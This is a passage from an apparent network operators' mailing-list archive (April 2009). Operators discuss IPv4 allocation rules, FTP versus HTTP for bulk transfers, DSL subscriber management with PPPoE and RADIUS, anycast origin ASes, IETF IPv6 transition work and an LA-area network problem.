pacific.net (Ken A) Date: Wed, 22 Apr 2009 08:54:19 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <20090421224030.GA1301601@hiwaay.net> <49EE5520.1070304@pacific.net> Message-ID: <49EF218B.8040003@pacific.net> Ricky Beam wrote: > On Tue, 21 Apr 2009 19:22:08 -0400, Ken A wrote: >> Also, monthly bandwidth monitoring/shaping/capping are more easily >> done using one ip per hosted domain... > > That's why the infrastructure is "virtualized" and you monitor at or > behind the firewall(s) and/or load balancer(s) -- where it *is* one IP > per customer. Sure, it's easier (and cheaper) to be lazy and waste > address space than setup a proper hosting network. > I wasn't trying to point towards the 'right way', only adding to the list of motivations that are out there, and being discussed here. As ipv4 gets less cheap, and less easy to obtain, these motivations cease. That's a good thing. Ken -- Ken Anderson Pacific Internet - http://www.pacific.net From jabley at hopcount.ca Wed Apr 22 09:17:38 2009 From: jabley at hopcount.ca (Joe Abley) Date: Wed, 22 Apr 2009 10:17:38 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422015026.GA11683@vacation.karoshi.com.> References: <20090421224030.GA1301601@hiwaay.net> <20090422015026.GA11683@vacation.karoshi.com.> Message-ID: <69683E52-2CFC-4A71-B737-87D199CB773D@hopcount.ca> On 21-Apr-2009, at 21:50, bmanning at vacation.karoshi.com wrote: > On Tue, Apr 21, 2009 at 08:24:38PM -0400, Ricky Beam wrote: >> > >> FTP? Who uses FTP these days? Certainly not consumers. Even Cisco >> pushes almost everything via a webserver. (they still have ftp >> servers, >> they just don't put much on them these days.) > > well, pretty much anyone who has large datasets to move around. > that default 64k buffer in the openssl libs pretty much sucks > rocks for large data flows. So you're saying FTP with no SSL is better than HTTP with no SSL? Joe From bmanning at vacation.karoshi.com Wed Apr 22 09:27:14 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Wed, 22 Apr 2009 14:27:14 +0000 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <69683E52-2CFC-4A71-B737-87D199CB773D@hopcount.ca> References: <20090421224030.GA1301601@hiwaay.net> <20090422015026.GA11683@vacation.karoshi.com.> <69683E52-2CFC-4A71-B737-87D199CB773D@hopcount.ca> Message-ID: <20090422142714.GA17563@vacation.karoshi.com.> On Wed, Apr 22, 2009 at 10:17:38AM -0400, Joe Abley wrote: > > On 21-Apr-2009, at 21:50, bmanning at vacation.karoshi.com wrote: > > >On Tue, Apr 21, 2009 at 08:24:38PM -0400, Ricky Beam wrote: > >> > > > >>FTP? Who uses FTP these days? Certainly not consumers. Even Cisco > >>pushes almost everything via a webserver. (they still have ftp > >>servers, > >>they just don't put much on them these days.) > > > > well, pretty much anyone who has large datasets to move around. > > that default 64k buffer in the openssl libs pretty much sucks > > rocks for large data flows. > > So you're saying FTP with no SSL is better than HTTP with no SSL? > > > Joe > (see me LEAPING to conclusions....) yes. (although I was actually thinking http w/ SSL vs FTP w/o SSL) a really good review of the options was presented at the DoE/JT meeting at UNL last summer. Basically, tuned FTP w/ large window support is still king for pushing large datasets around. --bill From sherwin.ang at gmail.com Wed Apr 22 09:34:37 2009 From: sherwin.ang at gmail.com (Sherwin Ang) Date: Wed, 22 Apr 2009 22:34:37 +0800 Subject: Broadband Subscriber Management Message-ID: Hello Nanog! i just would like to see how other operators are handling broadband/DSL subscribers in their BRAS. Currently, we are implementing PPPoE with AAA on our Redback SE's and Cisco boxes. As our subscriber base grows and grows, management of user logins, passwords, password resets, password changes are getting really huge. Some customers also complains about the method of logging in, asking for an easier way to do it or dump logins altogether. We're looking at DHCP/CLIPS for Redback but haven't really tested it since it requires a new license for it. For Cisco, we've been empty so far in looking for a solution wherein we still have accounting and rate-limiting on subscriber vc's. how are network operators in your areas do it? DHCP? if i do DHCP, will i still have the flexibility of sending a radius reply attribute so i could rate-limit the subscribers speed? or still offer speed on demand via radius/time-based upgrade of their rate-limits during off-peak hours? thank you for any insights that you may share. -Sherwin From bmanning at vacation.karoshi.com Wed Apr 22 09:33:22 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Wed, 22 Apr 2009 14:33:22 +0000 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422142714.GA17563@vacation.karoshi.com.> References: <20090421224030.GA1301601@hiwaay.net> <20090422015026.GA11683@vacation.karoshi.com.> <69683E52-2CFC-4A71-B737-87D199CB773D@hopcount.ca> <20090422142714.GA17563@vacation.karoshi.com.> Message-ID: <20090422143322.GA17935@vacation.karoshi.com.> On Wed, Apr 22, 2009 at 02:27:14PM +0000, bmanning at vacation.karoshi.com wrote: > On Wed, Apr 22, 2009 at 10:17:38AM -0400, Joe Abley wrote: > > > > On 21-Apr-2009, at 21:50, bmanning at vacation.karoshi.com wrote: > > > > >On Tue, Apr 21, 2009 at 08:24:38PM -0400, Ricky Beam wrote: > > >> > > > > > >>FTP? Who uses FTP these days? Certainly not consumers. Even Cisco > > >>pushes almost everything via a webserver. (they still have ftp > > >>servers, > > >>they just don't put much on them these days.) > > > > > > well, pretty much anyone who has large datasets to move around. > > > that default 64k buffer in the openssl libs pretty much sucks > > > rocks for large data flows. > > > > So you're saying FTP with no SSL is better than HTTP with no SSL? > > > > > > Joe > > > > (see me LEAPING to conclusions....) > > yes. (although I was actually thinking http w/ SSL vs FTP w/o SSL) > a really good review of the options was presented at the DoE/JT meeting > at UNL last summer. Basically, tuned FTP w/ large window support is > still king for pushing large datasets around. > > > --bill whiner Joe... here's the link: http://www.internet2.edu/presentations/jt2008jul/20080720-tierney.pdf --bill From sherwin.ang at gmail.com Wed Apr 22 09:37:15 2009 From: sherwin.ang at gmail.com (Sherwin Ang) Date: Wed, 22 Apr 2009 22:37:15 +0800 Subject: DSL Subscriber management Message-ID: Hello Nanog! i just would like to see how other operators are handling broadband/DSL subscribers in their BRAS. Currently, we are implementing PPPoE with AAA on our Redback SE's and Cisco boxes. As our subscriber base grows and grows, management of user logins, passwords, password resets, password changes are getting really huge. Some customers also complains about the method of logging in, asking for an easier way to do it or dump logins altogether. We're looking at DHCP/CLIPS for Redback but haven't really tested it since it requires a new license for it. For Cisco, we've been empty so far in looking for a solution wherein we still have accounting and rate-limiting on subscriber vc's. how are network operators in your areas do it? DHCP? if i do DHCP, will i still have the flexibility of sending a radius reply attribute so i could rate-limit the subscribers speed? or still offer speed on demand via radius/time-based upgrade of their rate-limits during off-peak hours? thank you for any insights that you may share. -sherwin From Stefan.Fouant at neustar.biz Wed Apr 22 09:37:20 2009 From: Stefan.Fouant at neustar.biz (Fouant, Stefan) Date: Wed, 22 Apr 2009 10:37:20 -0400 Subject: IPv4 Anycast? In-Reply-To: <49EF151C.5020405@brightok.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net><49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> Message-ID: <01B071CE08A7514CB72950074134151A132C86@STNTEXCH12.cis.neustar.com> > -----Original Message----- > From: Jack Bates [mailto:jbates at brightok.net] > > Given that the networks are duplicates, there's no requirement that > one part of the AS needs to receive routes from the other part of the > AS. For management and such of the devices, I presume there are > separate > netblocks advertised with a different ASN (possibly even statically > assigned by a hosting network). Or you could just allow as-loops... not saying it's a good thing, but it could be done ;) Stefan Fouant From jgreco at ns.sol.net Wed Apr 22 09:42:49 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Wed, 22 Apr 2009 09:42:49 -0500 (CDT) Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090422142714.GA17563@vacation.karoshi.com.> from "bmanning@vacation.karoshi.com" at Apr 22, 2009 02:27:14 PM Message-ID: <200904221442.n3MEgoAZ025614@aurora.sol.net> > On Wed, Apr 22, 2009 at 10:17:38AM -0400, Joe Abley wrote: > > > > On 21-Apr-2009, at 21:50, bmanning at vacation.karoshi.com wrote: > > > > >On Tue, Apr 21, 2009 at 08:24:38PM -0400, Ricky Beam wrote: > > >> > > > > > >>FTP? Who uses FTP these days? Certainly not consumers. Even Cisco > > >>pushes almost everything via a webserver. (they still have ftp > > >>servers, > > >>they just don't put much on them these days.) > > > > > > well, pretty much anyone who has large datasets to move around. > > > that default 64k buffer in the openssl libs pretty much sucks > > > rocks for large data flows. > > > > So you're saying FTP with no SSL is better than HTTP with no SSL? > > (see me LEAPING to conclusions....) > > yes. (although I was actually thinking http w/ SSL vs FTP w/o SSL) > a really good review of the options was presented at the DoE/JT meeting > at UNL last summer. Basically, tuned FTP w/ large window support is > still king for pushing large datasets around. Why not just put it all in an e-mail attachment. Geez. Everyone knows that's a great idea. While HTTP remains popular as a way to interact with humans, especially if you want to try to do redirects, acknowledge license agreements, etc., FTP is the file transfer protocol of choice for basic file transfer, and can be trivially automated, optimized, and is overall a good choice for file transfer. Does anyone know what "FTP" stands for, anyways? I've always wondered... ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From kauer at biplane.com.au Wed Apr 22 09:58:55 2009 From: kauer at biplane.com.au (Karl Auer) Date: Thu, 23 Apr 2009 00:58:55 +1000 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904221442.n3MEgoAZ025614@aurora.sol.net> References: <200904221442.n3MEgoAZ025614@aurora.sol.net> Message-ID: <1240412335.6713.148.camel@karl> On Wed, 2009-04-22 at 09:42 -0500, Joe Greco wrote: > FTP is the file transfer protocol of choice for basic file transfer, > [...] > Does anyone know what "FTP" stands for, anyways? I've always > wondered... File Transfer Protocol. I know - it's a tricky one that, don't feel bad :-) Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer at biplane.com.au) +61-2-64957160 (h) http://www.biplane.com.au/~kauer/ +61-428-957160 (mob) GPG fingerprint: 07F3 1DF9 9D45 8BCD 7DD5 00CE 4A44 6A03 F43A 7DEF -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From iljitsch at muada.com Wed Apr 22 10:24:45 2009 From: iljitsch at muada.com (Iljitsch van Beijnum) Date: Wed, 22 Apr 2009 17:24:45 +0200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> Message-ID: On 22 apr 2009, at 0:19, Owen DeLong wrote: >> B) Again, while it might be the IETF's "job", shouldn't the group >> trusted with the management of the IP space at least have a public >> opinion about these solutions are designed. Ensuring that they are >> designed is such a way to guarantee maximum adoption of v6 and thus >> reducing the potential for depletion of v4 space. > The IETF specifically does not accept organizational input and > requires instead that individuals participate. So how is the RIR model where you become a member and then participate better? If ARIN or the other RIRs have compelling arguments the only reason those arguments are compelling is because of their merit, not because they're from a RIR. > it means that even if ARIN could develop a public > opinion (which would have to come from the ARIN community by some > process which > we don't really have as yet), this opinion wouldn't mean much in the > IETF's eyes. Well, if you, ARIN, or anyone else has input that should be considered when writing with a better specification for an IPv6-IPv4 translator, please let us know. For the past year or so the IETF behave working group has been considering the issue, and looked at a whole bunch of scenarios: from a small IPv6 network to the public IPv4 internet, to private IPv4 addresses, from a small IPv4 network to the public IPv6 internet, to (not entirely) private IPv6 addresses. The IPv6->IPv4 case seems doable with a bunch of caveats (it's still NAT) and we (for some value of "we") want to get it out fast, but the other way around looks much more difficult and will at the very least take longer. The softwire(s?) working group is looking at tunneling IPv4 over IPv6 towards a big "carrier grade NAT" so IPv4 hosts/applications can still work across an IPv6 access network with only one layer of NAT. In v6ops CPE requirements are being discussed so in the future, it should be possible to buy a $50 home router and hook it up to your broadband service or get a cable/DSL modem from your provider and the IPv6 will be routed without requiring backflips from the user. So there is a fair chance that we'll be in good shape for IPv6 deployment before we've used up the remaining 893 million IPv4 addresses. From jabley at hopcount.ca Wed Apr 22 10:33:58 2009 From: jabley at hopcount.ca (Joe Abley) Date: Wed, 22 Apr 2009 11:33:58 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904221442.n3MEgoAZ025614@aurora.sol.net> References: <200904221442.n3MEgoAZ025614@aurora.sol.net> Message-ID: <68C921B6-4CD9-4E48-8958-343509D15AF6@hopcount.ca> On 22 Apr 2009, at 10:42, Joe Greco wrote: > While HTTP remains popular as a way to interact with humans, > especially if > you want to try to do redirects, acknowledge license agreements, > etc., FTP > is the file transfer protocol of choice for basic file transfer, and > can > be trivially automated, optimized, and is overall a good choice for > file > transfer. > > Does anyone know what "FTP" stands for, anyways? I've always > wondered... :-) I was mainly poking at the fact that Bill seemed to be comparing SSL- wrapped file transfer with non-SSL-wrapped file transfer, but I'm intrigued by the idea that FTP without SSL might be faster than HTTP without SSL, since in my mind outside the minimal amount of signalling involved they both amount to little more than a single TCP stream. Bill sent me a link to a paper. I will read it. However, I take some small issue with the assertion that FTP is easier to script than HTTP. The only way I have ever found it easy to script FTP (outside of writing dedicated expect scripts to drive clients, which really seems like cheating) is to use tools like curl, and I don't see why HTTP is more difficult than FTP as a protocol in that case. Perhaps I'm missing something. Joe From Ed.Lewis at neustar.biz Wed Apr 22 10:24:03 2009 From: Ed.Lewis at neustar.biz (Edward Lewis) Date: Wed, 22 Apr 2009 11:24:03 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: At 18:39 -0500 4/20/09, Joe Greco wrote: >Knowing that blatant lying about IP space justifications has been an >ongoing game in the community, ARIN has decided to "do something" about >it. I don't draw that direct conclusion. Although it may sound like "we know you've been lying so we want to hear from your parents" this can be read more benignly as "we want to make sure your parents know what's going on." >And why would the answer be any different, now? No, but now, if you (the engineer) have been telling non-technical management that there's a need to investigate IPv6 and management has been turning a deaf ear, you now have "backup" - a second source for management to get the message from that they ought to think about IPv6 plans. PS - this is based upon lessons learned when I worked for a US fed agency. When the network folks said we needed $X thousand of dollars for 10BaseT deployment across the campus we were ignored. When each division asked each directorate and they asked the budget committee for what amounted to $X thousand to have the networks deploy 10BaseT (two years on), we got the job. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis NeuStar You can leave a voice message at +1-571-434-5468 Getting everything you want is easy if you don't want much. From cmaurand at xyonet.com Wed Apr 22 11:01:33 2009 From: cmaurand at xyonet.com (Curtis Maurand) Date: Wed, 22 Apr 2009 12:01:33 -0400 Subject: Broadband Subscriber Management In-Reply-To: References: Message-ID: <49EF3F5D.6060604@xyonet.com> I don't understand why DSL providers don't just administratively down the port the customer is hooked to rather than using PPPoE which costs bandwidth and has huge management overhead when you have to disconnect a customer. I made the same recommendation to the St. Maarten (Dutch) phone company several years ago. They weren't listening either. That way you can rate limit via ATM or by throttling the port administratively. Just a suggestion Sherwin Ang wrote: > Hello Nanog! > > i just would like to see how other operators are handling > broadband/DSL subscribers in their BRAS. Currently, we are > implementing PPPoE with AAA on our Redback SE's and Cisco boxes. As > our subscriber base grows and grows, management of user logins, > passwords, password resets, password changes are getting really huge. > Some customers also complains about the method of logging in, asking > for an easier way to do it or dump logins altogether. We're looking > at DHCP/CLIPS for Redback but haven't really tested it since it > requires a new license for it. For Cisco, we've been empty so far in > looking for a solution wherein we still have accounting and > rate-limiting on subscriber vc's. > > how are network operators in your areas do it? DHCP? if i do DHCP, > will i still have the flexibility of sending a radius reply attribute > so i could rate-limit the subscribers speed? or still offer speed on > demand via radius/time-based upgrade of their rate-limits during > off-peak hours? > > thank you for any insights that you may share. > > > -Sherwin > > From lesmith at ecsis.net Wed Apr 22 11:07:42 2009 From: lesmith at ecsis.net (Larry Smith) Date: Wed, 22 Apr 2009 11:07:42 -0500 Subject: Broadband Subscriber Management In-Reply-To: <49EF3F5D.6060604@xyonet.com> References: <49EF3F5D.6060604@xyonet.com> Message-ID: <200904221107.42362.lesmith@ecsis.net> On Wed April 22 2009 11:01, Curtis Maurand wrote: > I don't understand why DSL providers don't just administratively down > the port the customer is hooked to rather than using PPPoE which costs > bandwidth and has huge management overhead when you have to disconnect a > customer. ?I made the same recommendation to the St. Maarten (Dutch) > phone company several years ago. ?They weren't listening either. ? That > way you can rate limit via ATM or by throttling the port administratively. Most likely because most RADIUS systems can be tied fairly easily directly to the billing/payment system which enables and disables (adds/removes) the customer from radius for payment/non-payment and therefore does not require any "technical" support to turn on/off customers. -- Larry Smith lesmith at ecsis.net From dholmes at mwdh2o.com Wed Apr 22 12:09:36 2009 From: dholmes at mwdh2o.com (Holmes,David A) Date: Wed, 22 Apr 2009 10:09:36 -0700 Subject: IXP In-Reply-To: <200904211621.22914.lowen@pari.edu> References: <20090420225701.GK9502@burnout.tpb.net> <200904211621.22914.lowen@pari.edu> Message-ID: <485ED9BA02629E4BBBA53AC892EDA50E08C65BD9@usmsxt104.mwd.h2o> But I recollect that FORE ATM equipment using LAN Emulation (LANE) used a broadcast and unknown server (BUS) to establish a point-to-point ATM PVC for each broadcast and multicast receiver on a LAN segment. As well as being inherently unscalable (I think the BUS ran on an ASX1000 cpu), this scheme turned the single stream concept of multicast on its head, creating essentially a unicast stream for each multicast PVC client. -----Original Message----- From: Lamar Owen [mailto:lowen at pari.edu] Sent: Tuesday, April 21, 2009 1:21 PM To: nanog at nanog.org Subject: Re: IXP On Monday 20 April 2009 18:57:01 Niels Bakker wrote: > Ethernet has no administrative boundaries that can be delineated. > Spanning one broadcast domain across multiple operators is therefore > a recipe for disaster. Isn't this the problem that NBMA networks like ATM were built for? > Cheap, fast, secure. It is obvious which two Ethernet chose. And which two ATM chose. Although secondhand ATM gear is coming down in price.... ATM has its own issues, but the broadcast layer 2 problem isn't one of them. Seems to me Ethernet layer 2 stuff is just trying today to do what ATM gear did ten years ago. Faster, of course, but still much the same. But, again, too bad ATM was just too expensive, and too different, and Gigabit Ethernet just too easy (at the time). From internetplumber at gmail.com Wed Apr 22 12:09:33 2009 From: internetplumber at gmail.com (Rob Evans) Date: Wed, 22 Apr 2009 18:09:33 +0100 Subject: IPv4 Anycast? In-Reply-To: <49EEC346.1000006@ucla.edu> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> Message-ID: <9a8fa98b0904221009t4b290fe7jaa3179600c50c369@mail.gmail.com> > Then there is basically no inter-As anycast besides the anycast prefix for > DNS root, since I only noticed like 8 prefixes that are announced by more > than 3 ASes.. ...but inter-domain anycast is often achieved by using a single origin AS, which is then transited through the 'provider' autonomous systems. In which case, you may be looking for the wrong thing. Rob From cmaurand at xyonet.com Wed Apr 22 12:25:55 2009 From: cmaurand at xyonet.com (Curtis Maurand) Date: Wed, 22 Apr 2009 13:25:55 -0400 Subject: Broadband Subscriber Management In-Reply-To: <200904221107.42362.lesmith@ecsis.net> References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> Message-ID: <49EF5323.10003@xyonet.com> As opposed to SNMP and a script that would shut the port down via SNMP when the customer is disabled? Larry Smith wrote: > On Wed April 22 2009 11:01, Curtis Maurand wrote: > >> I don't understand why DSL providers don't just administratively down >> the port the customer is hooked to rather than using PPPoE which costs >> bandwidth and has huge management overhead when you have to disconnect a >> customer. I made the same recommendation to the St. Maarten (Dutch) >> phone company several years ago. They weren't listening either. That >> way you can rate limit via ATM or by throttling the port administratively. >> > > Most likely because most RADIUS systems can be tied fairly easily directly > to the billing/payment system which enables and disables (adds/removes) > the customer from radius for payment/non-payment and therefore does > not require any "technical" support to turn on/off customers. > > From charles at thewybles.com Wed Apr 22 12:46:47 2009 From: charles at thewybles.com (Charles Wyble) Date: Wed, 22 Apr 2009 10:46:47 -0700 Subject: Broadband Subscriber Management In-Reply-To: <49EF3F5D.6060604@xyonet.com> References: <49EF3F5D.6060604@xyonet.com> Message-ID: <49EF5807.1020207@thewybles.com> Quite a bit of overhead. Good article here: http://blog.ioshints.info/2009/03/adsl-overhead.html Curtis Maurand wrote: > > I don't understand why DSL providers don't just administratively down > the port the customer is hooked to rather than using PPPoE which costs > bandwidth and has huge management overhead when you have to disconnect a > customer. I made the same recommendation to the St. Maarten (Dutch) > phone company several years ago. They weren't listening either. That > way you can rate limit via ATM or by throttling the port administratively. > > Just a suggestion > From lesmith at ecsis.net Wed Apr 22 12:48:49 2009 From: lesmith at ecsis.net (Larry Smith) Date: Wed, 22 Apr 2009 12:48:49 -0500 Subject: Broadband Subscriber Management In-Reply-To: <49EF5323.10003@xyonet.com> References: <200904221107.42362.lesmith@ecsis.net> <49EF5323.10003@xyonet.com> Message-ID: <200904221248.49705.lesmith@ecsis.net> Not disagreeing with you, just that SNMP "write" access is generally something that admins keep either turned off or very, very tightly controlled. In that context, how many "devices" (dslams, redbacks, etc) would have to be "touched" via SNMP to turn off a customer (or customers) versus simply removing "their" entry from a central radius database..... -- Larry Smith lesmith at ecsis.net On Wed April 22 2009 12:25, you wrote: > As opposed to SNMP and a script that would shut the port down via SNMP > when the customer is disabled? > > Larry Smith wrote: > > On Wed April 22 2009 11:01, Curtis Maurand wrote: > >> I don't understand why DSL providers don't just administratively down > >> the port the customer is hooked to rather than using PPPoE which costs > >> bandwidth and has huge management overhead when you have to disconnect a > >> customer. I made the same recommendation to the St. Maarten (Dutch) > >> phone company several years ago. They weren't listening either. That > >> way you can rate limit via ATM or by throttling the port > >> administratively. > > > > Most likely because most RADIUS systems can be tied fairly easily > > directly to the billing/payment system which enables and disables > > (adds/removes) the customer from radius for payment/non-payment and > > therefore does not require any "technical" support to turn on/off > > customers. From zhenkai at ucla.edu Wed Apr 22 14:56:00 2009 From: zhenkai at ucla.edu (Zhenkai Zhu) Date: Wed, 22 Apr 2009 12:56:00 -0700 Subject: IPv4 Anycast? In-Reply-To: <9a8fa98b0904221009t4b290fe7jaa3179600c50c369@mail.gmail.com> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <9a8fa98b0904221009t4b290fe7jaa3179600c50c369@mail.gmail.com> Message-ID: <49EF7650.7000102@ucla.edu> Rob Evans wrote: >> Then there is basically no inter-As anycast besides the anycast prefix for >> DNS root, since I only noticed like 8 prefixes that are announced by more >> than 3 ASes.. >> > > ...but inter-domain anycast is often achieved by using a single origin > AS, which is then transited through the 'provider' autonomous systems. > Hi Rob, Do you mean multihoming here? Zhenkai > In which case, you may be looking for the wrong thing. > > Rob > > From zhenkai at ucla.edu Wed Apr 22 15:01:48 2009 From: zhenkai at ucla.edu (Zhenkai Zhu) Date: Wed, 22 Apr 2009 13:01:48 -0700 Subject: IPv4 Anycast? In-Reply-To: <49EF151C.5020405@brightok.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> Message-ID: <49EF77AC.5030000@ucla.edu> Jack Bates wrote: > Zhenkai Zhu wrote: >> Then there is basically no inter-As anycast besides the anycast >> prefix for DNS root, since I only noticed like 8 prefixes that are >> announced by more than 3 ASes.. >> > > I presume you are using route-views or some such to get a larger > picture of the BGP geography? Yes. > I believe that many anycasts utilize the same ASN for their anycasted > address space. I would expect that a few of them have an ASN > specifically for their anycasted space. > > Given that the networks are duplicates, there's no requirement that > one part of the AS needs to receive routes from the other part of the > AS. For management and such of the devices, I presume there are > separate netblocks advertised with a different ASN (possibly even > statically assigned by a hosting network). I just want to make sure if I understand correctly. You mean that the anycasted address space can be announced in different places yet with the same origin AS? Zhenkai > > > Jack > > From jbates at brightok.net Wed Apr 22 15:12:29 2009 From: jbates at brightok.net (Jack Bates) Date: Wed, 22 Apr 2009 15:12:29 -0500 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> Message-ID: <49EF7A2D.3010307@brightok.net> Iljitsch van Beijnum wrote: > In v6ops CPE requirements are being discussed so in the future, it > should be possible to buy a $50 home router and hook it up to your > broadband service or get a cable/DSL modem from your provider and the > IPv6 will be routed without requiring backflips from the user. > > So there is a fair chance that we'll be in good shape for IPv6 > deployment before we've used up the remaining 893 million IPv4 addresses. I think this annoys people more than anything. We're how many years into the development and deployment cycle of IPv6? What development cycle is expected out of these CPE devices after a spec is FINALLY published? If the IETF is talking "future" and developers are also talking "future", us little guys that design, build, and maintain the networks can't really do much. I so hope that vendors get sick of it and just make up their own proprietary methods of doing things. Let the IETF catch up later on. /RANT Jack From jbates at brightok.net Wed Apr 22 15:35:52 2009 From: jbates at brightok.net (Jack Bates) Date: Wed, 22 Apr 2009 15:35:52 -0500 Subject: IPv4 Anycast? In-Reply-To: <49EF77AC.5030000@ucla.edu> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> Message-ID: <49EF7FA8.9010609@brightok.net> Zhenkai Zhu wrote: > I just want to make sure if I understand correctly. You mean that the > anycasted address space can be announced in different places yet with > the same origin AS? Yes, and it is commonly done. Jack From Ray.Sanders at VillageVoiceMedia.com Wed Apr 22 15:52:35 2009 From: Ray.Sanders at VillageVoiceMedia.com (Ray Sanders) Date: Wed, 22 Apr 2009 13:52:35 -0700 Subject: L.A Area network Issues the past few days? Message-ID: <1240433555.31523.44.camel@artoo.vvmedia.com> Has anyone seen any network issues the past few days? Yesterday we had some content delivery issues in the l.a area. Not getting any sort of response from our CDN, Limelight. Thanks in advance -- "Prediction is very difficult, especially about the future." Niels Bohr -- Ray Sanders Linux Administrator Village Voice Media Office: 602-744-6547 Cell: 602-300-4344 From patrick at ianai.net Wed Apr 22 15:58:46 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 22 Apr 2009 16:58:46 -0400 Subject: IPv4 Anycast? In-Reply-To: <49EF7FA8.9010609@brightok.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> Message-ID: <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> On Apr 22, 2009, at 4:35 PM, Jack Bates wrote: > Zhenkai Zhu wrote: >> I just want to make sure if I understand correctly. You mean that >> the anycasted address space can be announced in different places >> yet with the same origin AS? > > Yes, and it is commonly done. I was under the impression anycast services with homogeneous origin AS was far more common than the heterogeneous. Almost all the instances I know of use homogeneous origin AS. I'd be interested in statistics either way. -- TTFN, patrick From web at typo.org Wed Apr 22 16:07:44 2009 From: web at typo.org (Wayne E. Bouchard) Date: Wed, 22 Apr 2009 14:07:44 -0700 Subject: L.A Area network Issues the past few days? In-Reply-To: <1240433555.31523.44.camel@artoo.vvmedia.com> References: <1240433555.31523.44.camel@artoo.vvmedia.com> Message-ID: <20090422210744.GA72623@typo.org> I can't speak to specific upper level issues but I can confirm that there was a slightly insane piece of network equipment yesterday AM. We sat it down and had a good conversation about manners and behavior in public and it shaped up. -Wayne On Wed, Apr 22, 2009 at 01:52:35PM -0700, Ray Sanders wrote: > Has anyone seen any network issues the past few days? > > Yesterday we had some content delivery issues in the l.a area. > > Not getting any sort of response from our CDN, Limelight. > > Thanks in advance > > > -- > "Prediction is very difficult, especially about the future." Niels Bohr > -- > Ray Sanders > Linux Administrator > Village Voice Media > Office: 602-744-6547 > Cell: 602-300-4344 > --- Wayne Bouchard web at typo.org Network Dude http://www.typo.org/~web/ From Ray.Sanders at VillageVoiceMedia.com Wed Apr 22 16:11:31 2009 From: Ray.Sanders at VillageVoiceMedia.com (Ray Sanders) Date: Wed, 22 Apr 2009 14:11:31 -0700 Subject: L.A Area network Issues the past few days? In-Reply-To: <20090422210744.GA72623@typo.org> References: <1240433555.31523.44.camel@artoo.vvmedia.com> <20090422210744.GA72623@typo.org> Message-ID: <1240434691.31523.46.camel@artoo.vvmedia.com> Could you elaborate on that a bit, please? off list is fine On Wed, 2009-04-22 at 14:07 -0700, Wayne E. Bouchard wrote: > I can't speak to specific upper level issues but I can confirm that > there was a slightly insane piece of network equipment yesterday > AM. We sat it down and had a good conversation about manners and > behavior in public and it shaped up. > > -Wayne > > On Wed, Apr 22, 2009 at 01:52:35PM -0700, Ray Sanders wrote: > > Has anyone seen any network issues the past few days? > > > > Yesterday we had some content delivery issues in the l.a area. > > > > Not getting any sort of response from our CDN, Limelight. > > > > Thanks in advance > > > > > > -- > > "Prediction is very difficult, especially about the future." Niels Bohr > > -- > > Ray Sanders > > Linux Administrator > > Village Voice Media > > Office: 602-744-6547 > > Cell: 602-300-4344 > > > > --- > Wayne Bouchard > web at typo.org > Network Dude > http://www.typo.org/~web/ > -- "Prediction is very difficult, especially about the future." Niels Bohr -- Ray Sanders Linux Administrator Village Voice Media Office: 602-744-6547 Cell: 602-300-4344 From iljitsch at muada.com Wed Apr 22 